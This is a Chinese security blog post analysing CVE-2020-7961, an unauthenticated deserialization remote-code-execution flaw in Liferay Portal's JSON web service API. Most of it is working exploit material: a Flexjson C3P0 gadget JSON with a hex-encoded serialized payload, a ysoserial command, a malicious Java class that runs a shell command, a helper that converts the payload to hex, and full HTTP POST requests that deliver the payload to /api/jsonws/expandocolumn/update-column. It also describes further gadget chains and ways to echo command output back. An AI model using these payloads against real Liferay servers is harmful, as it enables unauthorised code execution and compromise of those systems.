记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞

2020-03-30 12:52

漏洞描述

近日,Code White公开了在Liferay Portal中发现的JSON反序列化高危漏洞,未授权的攻击者可以通过精心构造的恶意数据对API接口发起远程代码执行的攻击.
Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.

漏洞编号

CVE-2020-7961
LPS-88051/LPE-165981

漏洞威胁等级

高危

影响范围

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

简单分析

1.漏洞成因

Liferay Portal其实主要是两个版本存在问题,一个是6.X,另一个是7.X.
6.X使用的是Flexjson对json数据进行处理,而7.X则使用Jodd Json.因为api并不接收纯json数据,所以这里我只研究了6.X的Flexjson,但对于api来说payload为通用的并不需要划分版本.

2.Flexjson的RCE

我们先搭建Flexjson的环境,直接使用pom导入如下xml即可

<!-- https://mvnrepository.com/artifact/net.sf.flexjson/flexjson -->
<dependency>
<groupId>net.sf.flexjson</groupId>
<artifactId>flexjson</artifactId>
<version>3.1</version>
</dependency>

查阅文档我们可知,Flexjson处理json的写法如下

JSONDeserializer jsonDeserializer = new JSONDeserializer();
try {
jsonDeserializer.deserialize(json);
}catch (Exception e){
e.printStackTrace();
}

这里我们只需要传入一个json的字符串即可.如果我们要测试rce,则需要构造一个声明类的恶意json数据.例如声明javax.swing.JEditorPane.

这个类几天前可用作Jackson Databindfastjson的ssrf探测,当然都需要打开autotype开关才行.而在Flexjson中,这个类并不存在于黑名单中,可以直接使用.接下来的问题是如何RCE?我尝试构造了恶意的json,发现C3P0com.sun.rowset.JdbcRowSetImpl这两个gagdet是可以使用的.

这里给出一段C3P0的示例json.

String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";

这段payload主要为声明调用的class是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,且使用userOverridesAsString这个setter,对于传入的HexAsciiSerializedMap其实为序列化文件的hex编码.序列化文件我们可以使用ysoserial生成.
java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser

C3P0的gagdet使用需要在http协议下进行加载恶意的class,在http协议下使用:进行绑定.我给出如下恶意类的源码.

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
public ExportObject() throws Exception {
Process p = Runtime.getRuntime().exec("open -a calculator");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

既然序列化文件1.ser生成好了怎么转换为hex字节码了?我在CVE-2019-2725的时候就问过好兄弟afanti这个问题,从他那里我得到了答案.

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Echo3 {
public Echo3() {
}

public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, 4984);
System.out.println(HexString);
}

public static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
boolean var3 = false;

int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}

return out.toByteArray();
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}

return sb.toString();
}

public static String bytesToHexFun3(byte[] bytes) {
StringBuilder buf = new StringBuilder(bytes.length * 2);
byte[] arr$ = bytes;
int len$ = bytes.length;

for(int i$ = 0; i$ < len$; ++i$) {
byte b = arr$[i$];
buf.append(String.format("%02x", new Integer(b & 255)));
}

return buf.toString();
}
}

我们在这个位置填入ser序列化文件的绝对路径即可转换为hex并打印输出到控制台


好了,既然Flexjson的RCE搞定了我们来说下怎么对Liferay Portal进行rce.

3.Liferay Portal JSON Web Service的RCE
3.1漏洞环境构建

首先我们先下载漏洞环境,这里我使用了官方集成tomcat的环境.
https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z
下载好以后解压进入liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin目录,然后还是熟悉的./catalina.sh run即可启动环境.

3.2报文构造和gagdets

接着我们可以访问http://localhost:8080/api/jsonws/进入它的api.这里我们可以使用下面的报文格式进行声明类的调用.

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1

例如我们使用C3P0.

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1

com.sun.rowset.JdbcRowSetImpl的数据构造这里我就不给出了.
对于这个RCE漏洞应该还存在其他的gagdets.我目前在classpath中只发现了C3P0CommonsBeanutils2两条gagdets.

CommonsBeanutils对应的版本为1.9.2

CommonsBeanutils1需要依赖commons-collections:3.1,而classpath中的commons-collections为3.2.2,所以CommonsBeanutils1无缘使用.

CommonsBeanutils2只需要1.8.3 <= CommonsBeanutils <= 1.9.2且配合JNDI注入即可.

3.3回显构造

由于是tomcat的中间件,我们可以考虑使用前段时间长亭发出的tomcat全局request\response方法进行构造(当然对于Unix而言,00theway大哥的Unix通杀回显也可以做到).
我们这里可以使用C3P0回显和com.sun.rowset.JdbcRowSetImpljndi注入回显.如果使用C3P0进行回显,我们只需要将回显代码写入到恶意类的构造方法中.感谢chybeta和Ntears的C3P0回显提示.

如果使用jndi注入回显,可以将序列化文件转为base64,然后使用javaSerializedData解码即可.具体的jndi回显实现可以移步文末afanti的文章,同时也是一道某安全公司的Java完全的面试题.

最后我们来看下C3P0的回显效果

Reference

https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
https://www.anquanke.com/post/id/200892

知识来源: xz.aliyun.com/t/7485

阅读:26965 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

学习黑客技术,传播黑客文化

推广

工具

标签云

本页关键词